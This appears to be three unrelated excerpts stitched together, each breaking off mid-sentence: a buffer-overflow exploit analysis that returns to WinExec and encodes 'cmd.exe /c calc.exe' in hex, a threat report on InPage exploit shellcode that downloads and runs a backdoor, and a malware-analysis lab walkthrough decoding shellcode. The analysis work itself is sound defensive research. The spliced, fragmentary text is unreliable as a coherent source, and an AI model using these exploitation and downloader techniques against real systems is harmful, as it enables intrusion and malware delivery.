Winexec

Executing, the control flow will be taken to the attacker assigned address.Figure 4 Before Font Name CopyFigure 5 After Font Name CopyIn this case, the function will return “back” to 0x430c12, which is the address of WinExec, and the argument is the “font name”, also an attacker supplied input:Figure 6 Debugger View of Returning to WinExecThen we can see the Windows calculator (calc.exe) opening:Figure 7 Calc.exe Displayed when the Exploit CompletesExploit Method AnalysisNext, we show a few ways attackers can exploit this vulnerability. In the proof of concept, the hexadecimal bytes, 636d642e657865202f632063616c632e65786520, are used for the following command: cmd.exe /c calc.exe When we opened the proof of concept, this executed the Windows calculator and we saw the calculator UI appear. However, there is a limitation with this method, as the buffer can only put so many bytes into the buffer that is overflowing.Figure 8 IDA View of code copying overflow buffer into v4The size of an array that the attacker can overflow is 36 bytes (overflow_buffer in the above figure). However, it is possible to use the space of the v12 variable and saved EBP, which allows for an extra 8 bytes of space. If the command we want to issue is longer than the combined 44 bytes available, how could we do that?One way is to host a file on a server controlled by the attack and use the 44 bytes for a command that accesses that server and executes another binary. For example, the following command uses the

A misspelling of the word ‘Mujahid’, a term used to describe an individual engaged in Jihad.This particular InPage shellcode looks to be near identical to the two others previously discussed, however, it appears as though the attackers simply partially overwrote the original shellcode that was present to substitute their own. This results in the shellcode acting as a downloader, instead of loading an embedded payload. We can see the modifications visually in the following image:Figure 9 Differences between InPage exploit documents In the image above, the ‘Cyber Advisory No 91.inp’ exploit file has the large additional size, as it included the payload. The ‘Tehreek-E-Kashmir Mujahaid List.inp’ exploit file instead has removed this. However, original artifacts from the original shellcode are still present, including the function that loads Microsoft Windows API calls using the unique hashing algorithm.The shellcode begins by iterating through the Process Environment Block (PEB), searching for a loaded module that has a ‘3’ in the 7th position. In other words, the shellcode uses a simple trick to search for kernel32.dll. It proceeds to iterate through kernel32’s functions, looking for the GetProcAddress function. In order to find this function it will compare the first four letters against ‘GetP’, and the third set of four letters against ‘ddre’.The shellcode then gets the address of the WinExec function, which in turn is used to execute the following command:cmd /c mkdir C:\WinsIt then performs the following:Gets the address of the LoadLibraryA functionLoads the urlmon.dll libraryGets the address of the URLDownloadToFileA functionThe shellcode then proceeds to make a request to the following URL and download the response to ‘C:\Wins\cnh’. the shellcode will execute this downloaded file via a call to WinExec.The response from this webserver returned a payload, that we have named MY24, with the following attributes:SHA25671b7de2e3a60803df1c3fdc46af4fd8cfb7c803a53c9a85f7311348f6ff88cbeCompile Timestamp2017-05-18 05:26:54 UTC It should also be noted that a malicious Microsoft Word document with the following properties was observed downloading and executing the same payload.SHA2563f1d3d02e7707b2bc686b5add875e1258c65a0facd5cf8910ba0f321e230e17cOriginal FilenameLas Vegas ISIS Claim Proof.docFirst Seen2017-10-05 05:53:27 MY24 AnalysisThis backdoor begins by decoding a series of embedded strings by adding 33 to each character. The following example within the Python

Being stored in ‘al’) The mneumonic operator ‘stosb’ (store string byte) stores this decoded byte back to memory at EDI.Based on this we know that the shellcode is encoded by using 0x41 (A) as a ‘base’ for a type of alphabetic encoding scheme where each payload byte is stored in the 4-bit low register of two encoded bytes added together. By holding ‘F7’ in our debugger we can see this decoding play out as the assembly appears before our very eyes overwriting what used to be various generic operations acting as a NOP slide.By adding a breakpoint at the ‘RETN’ instruction, we can then use ‘F9’ to run through the entire routine and see we will be returning to offset 0x224.We can go a step further and use ‘F7’ once more, before following ‘EDI’ in our ASCII dump to see some interesting strings.From here we can save the decoded shellcode to another file which will be of value for subsequent questions. To do this we can Right Click the dump and select ‘Binary’ > ‘Binary Copy’ and paste it into a hex editor such as hxd before saving it.Question 2Which functions does the shellcode manually import?Answer 2Given we have dumped out the decoded shellcode, we can get a lot of information including this automatically by using ‘scdbg’ which we have previously used in Lab11-03.exe.scdbg -f HexDumpLab19-01.bin -findscThis extremely useful tool by David Zimmer reveals the functions this shellcode proceeds to manually import. LoadLibraryA GetSystemDirectoryA URLDownloadToFileA WinExec GetCurrentProcess TerminateProcessnot only that, but it also shows what network it communicates with, filesystem residue, and what it does. It effectively answers the next 3 questions. If we were to manually look into this using our debugger, we would continue to step through the shellcode to find it locating kernel32.dll’s base address in memory. From here it parses it based on symbol hashes to get the required exported function pointers which are then used.Another way to find this information is to open the shellcode (which we saved in question 1) up in IDA and perform an autoanalysis at the start. Starting from the top